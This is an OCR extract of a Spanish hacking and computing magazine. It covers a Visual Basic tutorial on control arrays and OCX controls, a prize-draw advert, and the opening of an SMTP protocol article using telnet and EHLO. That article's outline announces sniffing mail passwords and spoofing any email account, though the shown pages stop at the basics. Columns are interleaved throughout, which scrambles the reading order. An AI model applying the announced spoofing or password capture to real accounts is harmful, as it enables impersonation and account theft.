(sin comillas, plz ;)). El segundo parámetro es opcional. Indica que SORTEO DE UN SUSE se creará un fichero de log con la sesión actual (siempre en el master, NUNCA en el slave)... LINUX 8.1 DEL MES DE Si no se indica un "directorio_log" el fichero se creará en el directorio actual. FEBRERO ES: MARCO ANTONIO El código completo del programa. Recordad que la primera línea del programa CAMPILLEJO CANDEA hace referencia al PATH (camino) absoluto y completo en el que se encuentra el intérprete MADRID de Perl (p.ej. /usr/bin/perl), necesario para ejecutarlo. SEGUIR LLAMANDO, EL PROXIMO PODRIA SER PARA TI (PAG 51) Podéis copiar este programa y editarlo con cualquier EDITOR DE TEXTO PLANO, como el vi, el pico, el nano, el kwrite, el "bloc de notas", PC PASO A PASO Nº 8 Página 43
  • 44. La calculadora: Rizando el rizo Por pedro del valle * Aprenderemos lo que es un "array de controles" y un "vector" * Aplicaremos estos nuevos conceptos a la Calculadora que construimos en el número anterior. * Crearemos un OCX (Control de Usuario) ¿Cómo? ¿Qué? Venga, que no es tan difícil :) Bienvenidos de nuevo al curso de programación pero que pueden recibir diferentes valores, en Visual Basic. En la última entrega hicimos, declaradas con el mismo nombre (identificador). desde 0, una calculadora. Alguien apreció en los foros de PC paso a paso que tal vez, el Menudo rollo. Si me habéis entendido es porque código que gestionaba los números pulsados sois realmente buenos, ya que no yo mismo para después procesarlos, fuese demasiado me entiendo. Por eso creo que es mejor que largo y repetitivo, y preguntó si era posible pongamos un ejemplo práctico, como siempre, reducirlo. También creo recordar que alguien y así vemos la utilidad de los vectores. respondió: "un array de controles..." - Abrimos un proyecto nuevo, eligiendo como Un array de controles, esa sería la solución proyecto "Exe estándar". exacta para reducir todas esas líneas en unas pocas. - Al formulario le añadimos dos botones, como ya hemos hecho en la calculadora, y los Hoy tenía previsto explicaros que era un OCX llamamos Cmd1 y Cmd2. Hasta aquí nada y crear uno también desde 0, y así haremos, nuevo, pero ahora vamos a jugar un poco con pero antes debemos explicar qué s y como se los nombres de estos controles. implementa un array (matriz) de controles en cualquier proyecto de VB, y en este caso, lo - Picamos sobre el segundo botón, y vamos a haremos sobre la calculadora que ya deberíamos su propiedad Nombre. Aquí cambiamos Cmd2 tener acabada. por Cmd1 (sí, sí... no me he vuelto loco, ya sé que tenemos un botón con el mismo nombre). Ahora presionamos intro y nos debería aparecer 1.- ¿Qué es un "array"? ¿Qué es un mensaje como el de la imagen, si tenemos un "vector"? la versión en castellano. Bien, antes de todo deberíamos saber qué es un array o matriz de controles. Para poner un ejemplo sencillo, antes del array de controles, explicaremos que es un vector. Lo podríamos definir como varias variables del mismo tipo, Página 44 PC PASO A PASO Nº 8
  • 45. LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO - Le decimos "Sí". Automáticamente hemos Ya tenemos un vector de números enteros, creado un array (matriz) de controles, ya que ahora vamos a interactuar con él. tanto el botón 1 como el botón 2 tienen el mismo nombre, tan solo los distingue su - Haced doble click sobre el primer botón que propiedad Index. hemos creado y escribid un comentario como este ! La propiedad... ' Estoy en Cmd1 La propiedad Index la podemos visualizar y editar en el cuadro de propiedades del objeto ! Los comentarios... Los comentarios en VB, como en cualquier otro lenguaje de programación, sirven para hacer más legible el código. Lo que se escriba en los comentarios solo será visto por el ! Comentario de... programador, y no provocará errores. Para hacer una línea de comentario en VB ponemos primero el carácter ' y después escribimos el comentario. Podemos apreciar que Comentario de Hack x Crack: En los números anteriores el texto adquiere el color verde. ya explicamos cómo conseguir el compilador de Visual Basic, el proceso de instalación y cómo compilar un programa. Si tienes dudas repasa los números anteriores - Ahora volvamos al diseño del formulario y y si no los pudiste comprar pídelos en nuestra Web piquemos dos veces sobre el segundo botón. (www.hackxcrack.com) ¿Qué ha pasado?, si lo hemos hecho bien el cursor debería haberse posicionado de nuevo en la misma línea donde habíamos escrito el Vale, ahora que tenemos un array vamos a comentario. declarar un vector. Hay que tener en cuenta que nuestro array de controles y el vector que Private Sub Cmd1_Click(Index As Integer) vamos a declarar no tienen nada que ver, 'Estoy en Cmd1 sencillamente he pensado matar los dos pájaros End Sub de un tiro, y explicaros vectores y arrays de controles en un mismo ejercicio. Una vez Esto es totalmente correcto, ya que ahora no aclarado esto vamos al grano. tenemos dos botones independientes sino que es un mismo botón con diferente índice. Si os - Abrimos el editor de código de VB (doble dais cuenta ha aparecido un texto entre los click sobre el formulario, por ejemplo) y vamos paréntesis que en la calculadora no teníamos. a la primera línea. "Index as integer" significa que en la variable Index VB va a introducir el índice del botón - Escribimos el siempre recomendado Option pulsado, es decir, que si hemos presionado el Explicit, y justamente después, un vector botón 1 Index valdrá 0, y si hemos pulsado el de números enteros, de la siguiente botón 2, Index valdrá 1 (o los que hallamos manera puesto en el cuadro de propiedades). Option explicit Para hacer el ejemplo práctico vamos a cargar Dim IntNum(2) as Integer con dos valores el vector que hemos declarado PC PASO A PASO Nº 8 Página 45
  • 46. LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO anteriormente. condicionales para acabar el ejercicio. Private Sub Cmd1_Click(Index As Integer) ! Por defecto... 'Estoy en Cmd1 If Index = 0 Then Por defecto, VB pone el índice 0 al primero botón, ya que MsgBox IntNum(1) para el 0 es el primer número, no 1. End If If Index = 1 Then MsgBox IntNum(2) End If - Vamos al evento Form_Load picando dos End Sub veces en el formulario. En este evento vamos a introducir dos valores enteros a "IntNum" de - Ejecutamos el programa y pulsamos los dos la siguiente manera: botones. Si todo ha ido bien, el primero debería mostrar un mensaje con el número 10, y el Private Sub Form_Load() segundo con el número 22. IntNum(1) = 10 IntNum(2) = 22 End Sub ! En ningún... ¿Que hemos hecho?, pues ahora los valores "10" y "22" estarán alojados en IntNum(1) e En ningún caso pueden haber dos controles dentro de una IntNum(2) respectivamente. matriz que tengan el mismo Index, si intentásemos hacer esto veríamos el siguiente mensaje de error ! El vector... El vector IntNum se ha declarado como un vector de 2 posiciones, es decir, jamás podremos introducir un valor en la posición IntNum(3) ya que no existe. Si deseáramos tener mas posiciones, en este caso, declararíamos a IntNum con las posiciones necesarias. (Por ejemplo: IntNum(10) para 10 posiciones.) A partir de ahora tenéis que pensar que IntNum(1) es una variable y IntNum(2) es otra, con valores distintos. 2. Aplicando lo aprendido : Una array en la calculadora - Una vez cargados los valores, vamos de nuevo al Form_Load y borramos la línea de comentario Espero de veras que halláis entendido que es que anteriormente habíamos escrito (También y como se utiliza tanto un vector como un array podéis dejarla, lo dejo a vuestra elección). de controles. Si nos fijamos bien podemos apreciar que son muy parecidos, ya que estamos Para distinguir el botón que se ha pulsado hablando de un mismo objeto/variable que tenemos, como ya hemos dicho antes, el Index, contiene varios valores diferenciados por su entonces escribiremos estas sentencias índice. Página 46 PC PASO A PASO Nº 8
  • 47. LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO Private Sub Cmd5_Click() ! Los valores que... TxtOper.Text = TxtOper.Text & "5" End Sub Los valores que añadimos a un vector tienen que ser siempre Private Sub Cmd6_Click() del mismo tipo al que hemos declarado la variable, es decir, TxtOper.Text = TxtOper.Text & "6" en el caso de IntNum(x), al ser integer, lo que queramos End Sub introducir en ella, siempre deberá ser un valor entero, independientemente el índice de la variable. Private Sub Cmd7_Click() TxtOper.Text = TxtOper.Text & "7" End Sub Bien, ahora abramos la calculadora. En el diseño del formulario, vamos a los diferentes botones Private Sub Cmd8_Click() y les cambiamos el nombre a Cmd1 (a todos) TxtOper.Text = TxtOper.Text & "8" y cambiamos también la propiedad Index de End Sub cada uno de ellos con el número que le corresponda según su valor (es decir, si el Private Sub Cmd9_Click() botón que estamos cambiando era el Cmd0, TxtOper.Text = TxtOper.Text & "9" su nuevo Index debería ser 0, para nuestra End Sub comodidad en este ejercicio). Una vez tenemos cambiados todos los botones, Una vez borradas, picamos dos veces sobre es hora de acabar con esto. cualquiera de los botones, (recordemos que Primero, borramos todas las líneas del código ahora son todos el mismo botón, diferenciados anterior, que ahora son totalmente inútiles. por el índice) y añadimos la siguiente línea Las líneas exactas que tenéis que borrar son las siguientes: Private Sub Cmd1_Click(Index As Integer) TxtOper.Text = TxtOper.Text & Index Private Sub Cmd0_Click() End Sub TxtOper.Text = TxtOper.Text & "0" End Sub ¿Que hace esto? Pues estamos concatenando el valor de TxtOper con el del Index que, si Private Sub Cmd1_Click() antes lo hemos hecho bien, debería tener el TxtOper.Text = TxtOper.Text & "1" mismo valor que el del botón (0 para el Cmd0, End Sub 1 para el Cmd1...). Otra posibilidad, la cual me gusta mas, seria Private Sub Cmd2_Click() la siguiente: TxtOper.Text = TxtOper.Text & "2" End Sub Private Sub Cmd1_Click(Index As Integer) TxtOper.Text = TxtOper.Text & Private Sub Cmd3_Click() Cmd1(Index).Caption TxtOper.Text = TxtOper.Text & "3" End Sub End Sub En este caso estamos concatenando TxtOper Private Sub Cmd4_Click() con el Caption del botón pulsado, que es el TxtOper.Text = TxtOper.Text & "4" mismo que el valor que necesitamos. End Sub Ejecutamos el proyecto, y si todo ha ido bien, PC PASO A PASO Nº 8 Página 47
  • 48. LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO acabamos de crear un array de controles para Colocamos el objeto en el formulario y lo todos los botones numéricos de la calculadora, estiramos para que ocupe el máximo de área y ahora...., ¿alguien se atreve con los botones de proyecto, como en la imagen. operadores?. Bien, ahora que lo tenemos colocado vamos a crear las instrucciones necesarias para que se 3.- OCX : El control de usuario pueda pintar en nuestro OCX. Vamos al editor de código y creamos una ¿Qué es un OCX? Os estaréis preguntando. Un función que recibirá los parámetros necesarios OCX es un control de usuario, es un objeto para pintar un círculo. creado por el programador. Por ejemplo, si quisiéramos tener un objeto que estuviera compuesto por 2 botones, crearíamos un OCX ! Puedes crear... que constaría de un pequeño panel con esos dos botones. Este OCX, una vez creado, lo Puedes crear las funciones de un proyecto con el wizard podríamos utilizar en nuestros futuros proyectos. que incorpora VB. Para ello debes ir a Herramientas- >Agregar procedimiento, y en la siguiente ventana elegir El OCX, como la DLL, son dos pasos muy función, ponerle un nombre y darle un ámbito público para importantes en el estudio de la programación. poder acceder a ella desde cualquier proyecto. Es totalmente necesario que quede claro el concepto de estos. El control que vamos crear será una especie de pizarra, donde podremos Yo, por ejemplo, a esta función le he llamado pintar círculos en diferentes colores. Para "AddCirculo", ya que esta será su funcionalidad empezar nuestro OCX, abrimos un nuevo (añadir círculos). proyecto. En la ventana de selección de tipo La función recibirá como parámetros la posición de proyecto, esta vez, no cogeremos "EXE X, la Y, el radio y color del círculo. estándar" sino que escogeremos "Control Active X". Vamos a introducir un nuevo objeto, el ! Las funciones... PictureBox. Las funciones y procedimientos se utilizan generalmente para ahorrar código repetitivo, aunque en este caso es estrictamente necesario su uso para poder acceder al OCX, ya que una vez generado el control lo vamos a utilizarlo en otros proyectos. Los parámetros que se reciben se han de indicar entre los paréntesis de la función, la cosa quedaría así: Public Function AddCirculo (X As Long, Y As Long, R As Long, C As Integer) End Function - X e Y marcarán la posición del circulo, por Página 48 PC PASO A PASO Nº 8
  • 49. LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO eso son de tipo Long, ya que pueden ser Si picáis sobre la palabra Circle y pulsáis F1 mayores al máximo admitido por el tipo de veréis el significado de cada uno de los dato Integer (en la segunda entrega ya se parámetros que recibe, siempre y cuando indicaron los rangos de tipos de datos). tengáis bien instaladas las MSDN. Bien, ¿qué estamos haciendo aquí?, pues muy - R indica el radio del círculo, el cual puede ser fácil, le hemos dicho a nuestro OCX que dibuje tan grande como nosotros queramos, por lo un circulo en PB de radio R en las posiciones que también será Long. X,Y con el color C. - Finalmente C, que indicará el color. En este ¿Y de donde recibe los valores esta función? caso si que estamos hablando de un dato de Pues del formulario donde estamos agregando tipo Integer, ya que su valor estará entre 0 y nuestro OCX. En este caso, para hacer la prueba 15 (colores básicos). previa, vamos al explorador de proyectos (arriba Ahora, dentro de esta función, vamos a dibujar a la derecha) y picamos con el botón derecho el circulo. Para ello debemos utilizar la función sobre el proyecto. Nos aparecerá un menú Circle que tiene el PictureBox. (¿Os habéis desplegable, donde deberíamos ver el submenú acordado de cambiarle ya el nombre?) Yo he Agregar. Al desplegarse este submenú podemos llamado a mi PictureBox PB, por lo que la línea ver Formulario, Formulario MDI, modulo... quedará así: Nosotros, en nuestro caso, escogeremos Public Function AddCirculo(X As Long, Y As Long, Formulario. Si os fijáis bien, en la paleta de R As Long, C As Integer) objetos hay uno nuevo, colocado habitualmente PB.Circle (X, Y), R, QBColor(C) al final, seguramente deshabilitado, el cual es End Function nuestro control de usuario. Para poder agregar uno a nuestro proyecto debéis volver antes al Control de usuario y cerrar todo pulsando el ! La función... aspa de la imagen, hasta que vuelva al formulario que hemos agregado. La función QbColor() devuelve el valor necesario para la función Circle cuando le pasamos un número entero. Los valores para C están en esta tabla: Si hemos hecho todo bien, deberíamos poder agregar nuestro OCX al nuevo formulario. Vamos a la paleta de controles, lo pintamos y PC PASO A PASO Nº 8 Página 49
  • 50. LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO redimensionamos hasta que adquiera el tamaño "Tipo de proyecto" por "Exe estándar". También necesario (sería lo equivalente a hacer doble debemos fijarnos que en el combo "Objeto click sobre el objeto en la paleta de controles). Inicial" aparece el nombre de nuestro Necesitamos también saber la X, Y, radio y formulario. Aceptamos y ejecutamos. Si todo color, aquí dejo que vuestra imaginación decida, ha ido bien deberíamos poder dibujar círculos por mi parte, voy a crear 4 cajas de texto y un en nuestro control OCX. botón. Esto visto así, puede parecer una autentica Los TextBox servirán para indicar cuales serán chorrada, seguro que alguno se está los valores para las variables anteriormente preguntando ¿y porque no hemos puesto un mencionadas (X,Y,R,C), y cada vez que PictureBox en un formulario directamente y pulsemos Pintar se dibujará un circulo en el pintamos a partir de este?, pues ahora vamos PictureBox de nuestro OCX. a ver la verdadera utilidad de un OCX. ! En mi OCX... 2.- Reutilizando el OCX : Generar el fichero En mi OCX el PictureBox es de color blanco, y no gris. Esto es porque yo he cambiado la propiedad BackColor Volvemos a Proyecto->Propiedades y del PictureBox al color blanco. cambiamos los parámetros para que vuelvan como al inicio (Tipo de proyecto = "Active X" y Objeto inicial = "ninguno"). Picamos dos veces sobre el control de usuario en el explorador de proyectos y generamos el OCX, ¿Cómo?, pues yendo a Archivo->Generar MiControl.ocx ! Sí os aparece... Si os aparece un error indicando que vuestro control no es público, debéis ir a la propiedad "Public" del cuadro de propiedades del control y ponerle el valor a true Nos va a aparecer un "browser" para guardar Lo que queda ahora es sencillo: el archivo físicamente donde queramos. Nosotros, para no perdernos, lo vamos a guardar Private Sub CmdPintar_Click() en la misma carpeta del proyecto. MiControl1.AddCirculo TxtX, TxtY, TxtRadio, TxtColor Una vez generado cerramos todo nuestro End Sub proyecto (acordaos de guardar antes de nada) y abrimos otro nuevo. En esta ocasión cogemos Para poder ejecutar esto, en modo de prueba, "Exe estándar". debemos ir al menú Proyecto->Propiedades y aquí, cambiamos "Control Active X" en el Combo Vamos a proyectos->componentes y le damos Página 50 PC PASO A PASO Nº 8
  • 51. LA CALCULADORA: RIZANDO EL RIZO - LA CALCULADORA: RIZANDO EL RIZO al botón examinar. Podéis apreciar que se ha - Pintar Píxel abierto un explorador para buscar archivos - Pintar Línea .ocx, por lo que nosotros vamos a buscar el - Borrar píxel que nos interesa, y este es el que acabamos - Borrar Línea de guardar en la carpeta del proyecto. - Botón deshacer... Hasta aquí hemos llegado por hoy, para la Una vez agregado debería aparecernos en la próxima entrega, creación de una DLL desde paleta de controles un nuevo objeto, como nos 0!!, Saludos. había pasado anteriormente, con la diferencia de que ahora no tenemos el ocx en nuestro explorador de proyecto, si no que estamos ! En nuestra WEB... accediendo al OCX directamente, sin mediar código alguno (como podríamos hacer contra En nuestra Web (www.hackxcrack.com), en la SECCIÓN el WinSock, por ejemplo) PROGRAMAS tienes el código de los proyectos explicados en este curso. Si no tienes ganas de escribir, ya sabes, Lo agregamos al formulario y lo descárgalo!!! redimensionamos tal y como habíamos hecho anteriormente. Si ahora escribimos "MiControl." Se nos desplegará un menú con todas las ! Si tienes... opciones que tenemos para este control de usuario, incluida la función que nosotros Si tienes dudas, deseas contactar con otras personas que habíamos creado, "AddCirculo". están siguiendo este curso de Visual Basic o simplemente quieres opinar sobre el artículo, no lo dudes un instante, Bueno, espero que os halla resultado interesante pásate por EL FORO de Hack x Crack ;) el curso, lo que no podéis negar es la utilidad (www.hackxcrack.com) de los OCX para crear controles. Ahora dejo que vuestra imaginación sea la que os guíe, De verdad, el FORO es un medio de contacto perfecto para ¿qué más podéis intentar?, multitud de opciones, esto, no nos envíes mails porque es EN EL FORO y con como: la ayuda de todos los miembros donde podemos, entre - Borrar círculo todos, resolver dudas y ampliar conocimientos. SI TE GUSTA LA INFORMÁTICA. SI ESTAS “CABREADO” CON GÜINDOUS ;) SI QUIERES PROGRESAR DE VERDAD Incluye 7 CD’s y 1 DVD PC PASO A PASO Manual de Instalación. SOR TEA CADA MES UN S.O. Manual de Administracion SUSE LINUX PR OFESSION AL 8.1 SIMPLEMENTE ENVIA LA PALABRA PCCON AL 5099 DESDE TU MOVIL PRECIO DEL MENSAJE: 0,90€ + IVA. VALIDO PARA (MOVISTAR - VODAFONE Y AMENA) IVA. VALIDO PARA (MOVISTAR EL PREMIO PUEDE SER CANJEABLE POR UN JUEGO DE PC O CONSOLA QUE NO SUPERELOS 85€ EL GANADOR SALDRA PUBLICADO AQUÍ 2 NÚMEROS DESPUES DE LA PUBLICACIÓN. PC PASO A PASO Nº 8 Página 51
  • 52. SERIE RAW: CONOCIENDO PROTOCOLOS Y SU SEGURIDAD. RAW2: SMTP (Protocolo de envio de correo electronico) - Conoceremos el funcionamiento del transporte de correo electrónico. - Recordaremos el funcionamiento de Telnet. - Aprenderemos a codificar y decodificar passwords de correo. - Capturaremos claves de correo mediante un sniffer. - Aprenderemos a suplantar la personalidad de cualquier cuenta de correo. - Enviaremos mensajes a destinos imposibles. - Aprenderemos a detectar si nos hacen a nosotros alguna de estas cosas. ;-) - ¡Y mucho más! 1. Documentación ahorraré el trabajo, diciéndoos que el documento que a nosotros nos interesa ahora es el RFC Como ya vimos en el número anterior de la 2821 (ftp://ftp.rfc-editor.org/in- serie RAW, hay básicamente 3 formas de notes/rfc2821.txt). Si, aún así, os habéis investigar el funcionamiento de un protocolo. molestado en mirar los resultados de la Como breve resumen, os las recuerdo: búsqueda (espero que no seáis tan vagos como para no haberlo hecho), habréis visto un montón 1- Leer los documentos técnicos adecuados de documentos que incluyen en su título el (RFCs) término "service extension". Como ya 2- Realizar ingeniería inversa mediante un veremos a lo largo del artículo, SMTP es un sniffer protocolo con unas funciones muy básicas que 3- Seguir fielmente cada artículo de la serie se amplía de forma modular con una serie de RAW en la revista HackXCrack. ;-) extensiones opcionales, que estarán o no implementadas dependiendo de cada servidor, Con respecto al primer punto, podéis comprobar y que son precisamente las llamadas "service que, si buscamos el término "SMTP" en la Web extension". oficial de los documentos RFC Podemos ver que estudiar el protocolo SMTP (http://www.rfc-editor.org), nos es bastante más complicado que estudiar el aparecerán una cantidad importante de POP3 (por algo empezamos la serie RAW por entradas, por lo que es fácil que nos perdamos. POP3 ;-), ya que no sólo tenemos un RFC de En realidad, es fácil encontrar el documento 79 páginas con la funcionalidad "básica", si no adecuado si recordamos lo que ya conté sobre además un buen taco de documentos sobre el campo "More Info (Obs&Upd)", pero os cada una de las "service extension". Pero Página 52 PC PASO A PASO Nº 8
  • 53. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW tranquilos, que en este artículo os lo daremos de correo de Macizorra, en un ISP llamado ya todo masticadito. ;-D JotMail. Así que Pringaete escribe en su cliente de correo (Eudora, Outlook, Kmail, o el que 2. Mecanismo básico del correo sea) el siguiente mensaje: electrónico From: pringaete@buanadu.es Antes de continuar, es importante que tengáis To: macizorra@jotmail.com bien claro que lo explicado en este artículo (y Subject: te amo en el anterior) no es aplicable a las cuentas de correo por Web. Estas mu buena. ¿Quieres salir conmigo? Como vimos en el artículo anterior, el protocolo POP3 se utiliza tan sólo para la recepción del Fdo: Pringaete correo electrónico y, como veremos ahora, SMTP es el protocolo que se utiliza para el Cuando ya ha redactado su bonita declaración envío. Para comprender por qué se utilizan dos de amor, pulsa el botón ENVIAR y unos enanitos protocolos diferentes para un mismo servicio mágicos meten el mensaje en una caja de (el correo electrónico, o e-mail), vamos a ver zapatos y lo llevan volando hasta la bella de forma rápida el funcionamiento del correo Macizorra... ¿o no es así? ¿No habíamos quedado electrónico mediante una "historieta" de en el artículo anterior en que los enanos mágicos ejemplo. sólo se utilizan para construir calculadoras japonesas, y no para transportar paquetes? En nuestra historia hay 3 personajes: Pringaete, Vamos a ver entonces que es lo que ocurre en Macizorra, y Musculitos. realidad desde el instante en que Pringaete pulsa el botón ENVIAR. 2.1. El PC de Pringaete se conecta con el servidor SMTP de Buanadú. Lo primero que hace el cliente de correo de Pringaete cuando éste pulsa el botón ENVIAR, es conectarse al servidor SMTP de Buanadú. Cuando Pringaete configuró su cliente de correo, tuvo que introducir un par de datos, que eran: la dirección del servidor POP3 de Buanadú (para poder recibir su correo, tal y como vimos en el artículo anterior), y la dirección del servidor SMTP de Buanadú (para poder enviar su correo, tal y como veremos ahora). Así que Pringaete Macizorra Musculitos su cliente sabe perfectamente dónde debe conectarse. Una vez establecida la conexión, Nuestro amigo Pringaete ha decidido armarse el cliente envía una serie de comandos al de valor y declarar su amor a Macizorra y, como servidor de Buanadú, los cuales veremos en es bastante cortado, el mejor medio que ha detalle más adelante y, una vez enviados esos encontrado para hacerlo es el correo electrónico. comandos, cierra la conexión y se olvida para Para ello dispone de una cuenta de correo en siempre del tema, dejando el problema en un ISP llamado Buanadú, y conoce la dirección manos del servidor de Buanadú. PC PASO A PASO Nº 8 Página 53
  • 54. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW Puede ser que el servidor de Buanadú no pueda localizar directamente el servidor de Jotmail, para lo cual tendrá que utilizar algún otro servidor de SMTP intermedio, al cual localizará igualmente mediante el mecanismo DNS MX. Estos servidores intermedios pueden ser de dos tipos: - Relays: Cuando se limitan a hacer de intermediarios sin realizar ninguna modificación. La conclusión a la que hemos llegado es que - Gateways: Cuando, además de transportar nuestro cliente de correo no tiene que el mensaje, realizan alguna modificación preocuparse de cómo localizar el servidor de necesaria para que éste llegue hasta el destino Jotmail, en donde se encuentra la cuenta de final, normalmente por diferencias en los correo del destinatario, Macizorra, si no que protocolos utilizados. delega por completo en el servidor de SMTP para el cual fue configurado (el de Buanadú), el cual se encargará, en los siguientes pasos que veremos ahora, de transportar el mensaje hasta su destino final. 2.2. El servidor SMTP de Buanadú busca 2.3. El mensaje llega a la cuenta de Jotmail el servidor SMTP de Jotmail. de Macizorra. Esto lo cuento muy brevemente, ya que lo que Hasta que el mensaje de Pringaete llega a la nos interesa a nosotros en este artículo es el cuenta de Jotmail de Macizorra, éste puede primer paso, que ya he explicado, es decir, la haber pasado por varios servidores SMTP conexión entre el cliente de correo y el servidor intermedios. de SMTP. A partir de ese momento, ya no Sin importar cual haya sido el camino que ha tendremos control sobre lo que ocurre con seguido el mensaje, finalmente llegará hasta nuestro mensaje, por lo que lo que realmente el servidor SMTP de Jotmail, el cual se limitará nos interesa es precisamente hasta ese punto. a almacenar el mensaje en su disco duro, en Como bien dice el epígrafe, una vez que espera de que Macizorra se conecte por POP3 Pringaete ha cerrado la conexión entre su (o cualquier otro protocolo de recepción de cliente de correo y el servidor SMTP de Buanadú, correo electrónico) a su cuenta para bajarlo a éste último se encargará de transportar el su PC. mensaje hasta el servidor de Jotmail, que es Como ya vimos en el artículo anterior, el mensaje desde donde podrá leerlo Macizorra. Para ello quedará almacenado en el disco duro del utiliza un mecanismo del clásico servicio de servidor hasta que el cliente POP3 de Macizorra DNS (DNS MX, o DNS Mail eXchanger ejecute el comando DELE. mecanism) en el que no entraremos en detalle. Estad atentos a la revista, porque es probable que dedique algún número de la serie RAW a explicar de un tirón varios protocolos tan sencillos que no merecen un artículo dedicado, entre los cuales podrá encontrarse el protocolo DNS. Página 54 PC PASO A PASO Nº 8
  • 55. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW 2.4. Macizorra lee el mensaje. To: pringaete@buanadu.es Subject: Ajo y Agua Una vez que el mensaje está ya en la cuenta de correo de Macizorra, éste quedará Lo siento, Pringa, pero ya estoy saliendo con almacenado en el disco duro del servidor de Musculitos. Es una pena, porque si no fuese por Jotmail hasta que Macizorra decida un buen el... día comprobar si tiene algún mensaje, para lo cual conectará mediante POP3 desde su cliente Fdo: Macizorra de correo hacia el servidor POP3 de Jotmail, tal y como vimos en el artículo anterior. También Vamos a ver en detalle lo que hace el cliente podría utilizar otro protocolo de recepción de de correo de Macizorra para llevar la desgraciada correo (como IMAP), ya que una vez que el noticia al pobre Pringaete. mensaje está almacenado en el disco duro, ya sólo depende de los protocolos que tenga 3.1. Estableciendo la conexión implementados el servidor de correo para permitir la recepción. Desde luego, lo que está En el momento en que Macizorra pulse el botón claro es que en nada influye el hecho de que ENVIAR de su cliente de correo, éste establecerá el mensaje haya sido enviado mediante SMTP una conexión TCP/IP con el puerto 25 del para que luego sea leído por POP3, IMAP, o servidor SMTP de Jotmail. cualquier otro sistema. Si queremos hacer esto mismo nosotros, ya sabemos cual es la herramienta que necesitamos... ¡el todopoderoso Telnet! :-) Os recuerdo cómo podemos establecer la conexión con el puerto 25 mediante Telnet. Supongamos que la dirección de nuestro servidor SMTP (la que nos indican cuando damos de alta una cuenta de correo, para que podamos configurar el cliente Outlook, Eudora, Kmail, o el que sea) es: smtp.jotmail.com. Windows 9x: Para establecer la conexión con el puerto 25 mediante Telnet en Windows 9x (95, 98, Me), haremos lo siguiente: Desde el menú de Inicio vamos a Ejecutar, y ahí escribimos: 3. El protocolo SMTP en detalle telnet smtp.jotmail.com 25 Una vez conectados, no olvidéis activar el eco Una vez visto el mecanismo de transporte de local, lo cual podemos hacer desde el menú mensajes a grandes rasgos, ya sólo queda Terminal de la aplicación de Telnet, en la opción entrar en detalle en lo que es el protocolo en Preferencias. sí. Para ello, empezamos por ver la respuesta de Macizorra a Pringaete: Windows 2000/XP: From: macizorra@jotmail.com Para hacer esto mismo en Windows XP o PC PASO A PASO Nº 8 Página 55
  • 56. SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW Windows 2000, vamos al menú de Inicio, implementación de las service extension, tal Ejecutar, y escribimos: y como veremos ahora. telnet Para mantener la compatibilidad, cualquier Una vez dentro de la aplicación de Telnet, servidor SMTP debe soportar también el uso escribimos: de HELO, pero lo habitual es que cualquier set localecho cliente salude siempre con EHLO. Con lo que activamos el eco local, y ya sólo ¿Que para qué sirve esto de saludar a una nos falta escribir: máquina? o smtp.jotmail.com 25 Si recordamos un poco lo que he explicado Para establecer la conexión con el servidor. antes sobre el camino que seguía el mensaje de Pringaete hasta llegar a Macizorra, sabremos Linux/Unix: que básicamente un servidor SMTP puede recibir dos tipos de conexiones: Desde una consola (shell) simplemente - Conexiones de un cliente (como tú, escribimos: como yo, y como Pringaete). telnet smtp.jotmail.com 25 - Conexiones de otro servidor de SMTP (aquellos que se usan como intermediarios para Una vez conectados, el servidor SMTP nos transportar un mensaje). enviará un breve saludo. Lo único importante Al saludar al servidor le estamos diciendo de de este saludo es que tiene que empezar por dónde venimos nosotros, es decir, si somos un 220 si todo ha ido bien. cliente de ese mismo servidor, o si traemos un Por ejemplo: mensaje desde otro lado. 220 smtp03.jotmail.com ESMTP Para indicar esto lo que hacemos es indicar en el saludo un nombre de dominio. Por ejemplo: Por cierto, que en este ejemplo esa coletilla de EHLO jotmail.com ESMTP nos indica que el servidor soporta Con esto le estamos diciendo que el dominio service extension, lo cual nos será útil para desde el que queremos enviar el mensaje es saber cómo debemos proceder a continuación, jotmail.com. tal y como explicaré en el siguiente punto. Vamos a ver la diferencia entre HELO y EHLO: 3.2. Saludando con el comando EHLO (y HELO no es una errata) Al identificarte con: Si, ya se que "Hola" se dice "Hello" en inglés. HELO jotmail.com ¿Entonces por qué este comando se llama Simplemente estas diciendo: "Hola, vengo desde EHLO y no HELLO o HELO? Jotmail.com". Pues hay un buen motivo, y es que este Una vez enviado este saludo, podrás empezar comando se llama EHLO a propósito, directamente a enviar los mensajes que quieras. precisamente para diferenciarlo de otro comando llamado HELO. EHLO El comando HELO era el que se utilizaba en tiempos remotos para iniciar el diálogo en una Al identificarte con: sesión SMTP, pero en la actualidad éste EHLO jotmail.com comando ha sido sustituido por el comando Estás diciendo: "Hola, vengo desde Jotmail.com, EHLO, que tiene el mismo objetivo, pero y además puedo manejar service extensions". incorpora además facilidades para la Una vez enviado este saludo, el servidor SMTP Página 56 PC PASO A PASO Nº 8
